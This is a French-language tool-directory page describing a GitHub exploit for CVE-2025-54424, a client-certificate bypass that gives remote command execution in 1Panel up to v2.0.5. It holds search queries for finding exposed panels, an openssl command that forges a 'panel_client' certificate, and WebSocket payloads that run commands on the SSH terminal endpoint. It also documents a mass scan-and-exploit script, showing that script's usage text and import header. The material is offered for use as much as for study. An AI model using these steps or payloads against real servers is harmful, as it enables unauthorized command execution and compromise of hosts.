Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-54424 — CVE-2025-54424 : outil intégré de contournement de certificat client et RCE 1Panel (scan + exploitation) | Kitploit
Outils/GitHubGitHub/mr-xn/cve-2025-54424
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à DistanceArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424 : outil intégré de contournement de certificat client et RCE 1Panel (scan + exploitation)

Voir le dépôt
59116il y a 1 anPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-54424

CVE-2025-54424 : Outil intégré pour la vulnérabilité RCE par contournement du certificat client 1Panel (scan+exploitation)

Présentation de la vulnérabilité

1Panel est un panneau de gestion d'exploitation Linux open source et moderne, offrant une interface graphique pour déployer des sites Web, gérer des serveurs et exécuter des services.

Dans la version affectée, la politique d'authentification TLS du côté Agent est tls.RequireAnyClientCert, qui exige seulement la fourniture d'un certificat mais n'en vérifie pas la fiabilité. Un attaquant peut contourner la validation TLS avec un certificat auto-signé et falsifier le champ CN en panel_client, contournant ainsi la validation au niveau de l'application. Finalement, l'attaquant peut falsifier un certificat pour appeler des interfaces d'exécution de commandes non autorisées, entraînant une vulnérabilité d'exécution de commandes à distance.

Versions affectées

<= v2.0.5

Syntaxe de cartographie

Les instructions de cartographie pour hunter et fofa sont les suivantes :

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Analyse de la vulnérabilité

Copie de l'avis GitHub sur la vulnérabilité

  • Tout d'abord, introduisez les concepts du Core et de l'Agent de 1panel v2. Après la sortie de la nouvelle version, 1panel a ajouté la fonction de gestion des nœuds, permettant de contrôler d'autres hôtes en ajoutant des nœuds.
  • Le protocole https utilisé pour la communication entre le Core et l'Agent ne vérifie pas complètement l'authenticité du certificat lors de la validation, ce qui entraîne une non-autorisation de l'interface. Dans 1panel, en raison de l'existence de nombreuses interfaces d'exécution de commandes ou de hautes permissions, cela conduit à une RCE.

Processus d'audit du code

  1. D'abord, nous entrons dans le fichier de route HTTP de l'Agent agent/init/router/router.go

  1. On découvre que la fonction Routers fait référence à la fonction Certificate pour une validation globale agent/middleware/certificate.go

  2. On constate que la fonction Certificate vérifie si c.Request.TLS.HandshakeComplete a effectué une communication par certificat

  3. La vérité/fausseté de c.Request.TLS.HandshakeComplete est déterminée par tls.RequireAnyClientCert dans la fonction Start du code agent/server/server.go Note : Ici, l'utilisation de tls.RequireAnyClientCert au lieu de tls.RequireAndVerifyClientCert : RequireAnyClientCert exige seulement que le client fournisse un certificat, sans vérifier l'AC de signature, donc tout certificat auto-signé peut réussir la poignée de main TLS.

  4. Ensuite, dans les autres vérifications de la fonction Certificate, on vérifie seulement que le champ CN du certificat est panel_client, sans vérifier l'émetteur du certificat. Enfin, on découvre que la connexion WebSocket peut contourner la vérification Proxy-ID.

  5. Le projet contient un grand nombre d'interfaces WebSocket.

  • Interface WebSocket Process (permet d'obtenir tous les processus et autres informations sensibles selon le problème ci-dessus) Adresse de la route : /process/ws Format de la requête comme suit :
{
  "type": "ps",           // Type de données : ps (processus), ssh (session SSH), net (connexion réseau), wget (progression du téléchargement)
  "pid": 123,             // Optionnel, spécifier un ID de processus pour filtrer
  "name": "process_name", // Optionnel, filtrer par nom de processus
  "username": "user"      // Optionnel, filtrer par nom d'utilisateur
}

  • Interface WebSocket Terminal SSH (permet d'exécuter des commandes arbitraires selon le problème ci-dessus) Adresse de la route : /hosts/terminal Format de la requête comme suit :
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // Encodage base64 de "whoami", n'oubliez pas le retour à la ligne.
}

  • Interface WebSocket Terminal du conteneur (interface d'exécution de commandes dans le conteneur) Adresse de la route : /containers/terminal
  • Interface WebSocket de progression du téléchargement de fichiers (pousse automatiquement les informations de progression) Adresse de la route : /files/wget/process

Reproduction de la vulnérabilité

Reproduction manuelle

  1. Génération du certificat

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Chargez le fichier panel_client.crt et panel_client.key générés dans burp, puis ouvrez une requête ws et définissez la cible pour commencer la requête.

Détection en masse

Utilisez mon outil développé, le script CVE-2025-54424.py, pour la détection et l'exploitation en masse. Instructions d'utilisation ci-dessous.

Installer les dépendances nécessaires : pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel - Outil intégré pour la vulnérabilité RCE par contournement du certificat client (scan+exploitation)
Auteur : Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Cible unique, entre en mode exploitation. Ex.: 192.168.1.100:8080
  -f FILE, --file FILE  Fichier cible, entre en mode scan en masse.
  -o OUTPUT, --output OUTPUT
                        [Mode scan] Nom du fichier pour enregistrer les résultats des vulnérabilités.
  -t THREADS, --threads THREADS
                        [Mode scan] Nombre de threads concurrents.
  --proxy PROXY         Définir un proxy pour toutes les requêtes. Ex.: http://127.0.0.1:8080

Par exemple, détection unique + exécution de commandes (exécution interactive de commandes SSH) comme illustré ci-dessous

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# Désactiver les avertissements de la bibliothèque requests lorsque la vérification SSL est désactivée
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
Télécharger l’outil